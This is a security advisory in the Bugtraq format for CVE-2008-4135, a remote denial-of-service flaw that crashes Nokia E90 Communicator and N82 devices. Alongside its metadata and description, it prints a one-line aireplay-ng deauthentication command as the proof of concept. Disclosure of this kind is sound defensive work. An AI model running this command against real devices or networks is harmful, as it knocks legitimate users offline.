Nokia E90 Communicator Remote Denial of Service Vulnerability

Bugtraq ID:	31175
Class:	Failure to Handle Exceptional Conditions
CVE:	CVE-2008-4135
Remote:	Yes
Local:	No
Published:	Sep 14 2008 12:00AM
Updated:	May 07 2015 05:23PM
Credit:	wins.mallow
Vulnerable:	Nokia N82 0 Nokia E90 Communicator 0
Not Vulnerable:

Nokia E90 Communicator Remote Denial of Service Vulnerability

Nokia E90 Communicator is prone to a denial-of-service vulnerability because the device fails to handle specially crafted data.

Exploiting this issue allows remote attackers to cause the device to crash, denying service to legitimate users.

This issue affects Nokia E90 Communicator devices running Symbian OS S60 3rd Edition; other versions may also be affected.

Nokia E90 Communicator Remote Denial of Service Vulnerability

To exploit this issue, attackers may use readily available network utilities.

The following proof of concept using a command for the 'Aireplay-ng' tool is available:

aireplay-ng -0 10 -a <Access Point MAC address> -c <Destination MAC address> wlan0

Nokia E90 Communicator Remote Denial of Service Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Nokia E90 Communicator Remote Denial of Service Vulnerability

References:

• Nokia E90 Communicator (Nokia)